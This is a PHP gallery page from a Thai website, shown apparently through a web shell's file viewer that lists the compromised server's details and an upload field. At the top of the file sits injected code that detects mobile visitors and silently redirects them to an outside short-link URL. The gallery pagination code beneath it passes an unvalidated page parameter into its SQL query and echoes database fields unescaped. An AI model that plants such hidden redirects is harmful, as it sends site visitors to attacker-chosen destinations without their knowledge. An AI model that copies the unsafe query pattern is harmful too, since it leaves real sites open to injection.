| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/public_html/ |
Upload File : |
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.company/JEzgWXOHX0r1" /><script>location.replace("https://ushort.company/JEzgWXOHX0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<div class="col-md-8" id="box_r">
<ol class="breadcrumb">
<li><a href="#"><i class="fas fa-home"></i> หน้าหลัก</a></li>
<li class="active">อัลบั้มภาพ</li>
</ol>
<h3 class="title-box-2">อัลบั้มภาพ </h3>
<div class="row">
<?php
$sql_all_for = "SELECT * FROM tb_gallery";
$query_all_for = $obj_con->query($sql_all_for);
$num_all_for = mysqli_num_rows($query_all_for);
$Per_Page = 27; // Per Page
$Page = $_GET["Page"];
if(!$_GET["Page"])
{
$Page=1;
}
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_Start = (($Per_Page*$Page)-$Per_Page);
if($num_all_for<=$Per_Page)
{
$Num_Pages =1;
}
else if(($num_all_for % $Per_Page)==0)
{
$Num_Pages =($num_all_for/$Per_Page) ;
}
else
{
$Num_Pages =($num_all_for/$Per_Page)+1;
$Num_Pages = (int)$Num_Pages;
}
$sql_all_for .=" ORDER BY g_id DESC LIMIT $Page_Start , $Per_Page";
$query_all_for = $obj_con->query($sql_all_for);
$intRows = 0;
while($row_gal = $query_all_for->fetch_assoc()){
$intRows++;
?>
<div class="col-sm-6 col-md-4" id="box_img-m">
<a href="index.php?home=detail_gallery&id=<?php echo $row_gal['g_id']?>" class="a-thm">
<div class="thumbnail_new">
<img src="img/gallery/profile/<?php echo $row_gal['g_pic'];?>" alt="..." class="img-100">
<div class="caption">
<h4 class="f-16"><?php echo $row_gal['g_name']?></h4>
<p>( เข้าชมแล้ว <i class="far fa-eye"></i> <?php echo number_format($row_gal['g_view']);?> )</p>
</div>
</div>
</a>
</div>
<?php } ?>
<div class="col-md-12">
<div style="text-align: right;">
<nav class="bt_center">
<ul class="pagination">
<?php if($Prev_Page)
{
echo "<li><a href='index.php?home=gallery&Page=$Prev_Page' aria-label='Previous'><span aria-hidden='true'>«</span></a></li> ";
}
for($i=1; $i<=$Num_Pages; $i++){
if($i != $Page)
{
echo "<li><a href='index.php?home=gallery&Page=$i'>$i</a></li>";
}else{
echo "<li class='active'><a href='index.php?home=gallery&Page=$i'>$i <span class='sr-only'>(current)</span></a></li>";
}
}if($Page!=$Num_Pages){
echo "<li><a href='index.php?home=gallery&Page=$Next_Page' aria-label='Next'><span aria-hidden='true'>»</span></a></li>";
}
?>
</ul>
</nav>
</div>
</div>
</div>
</div>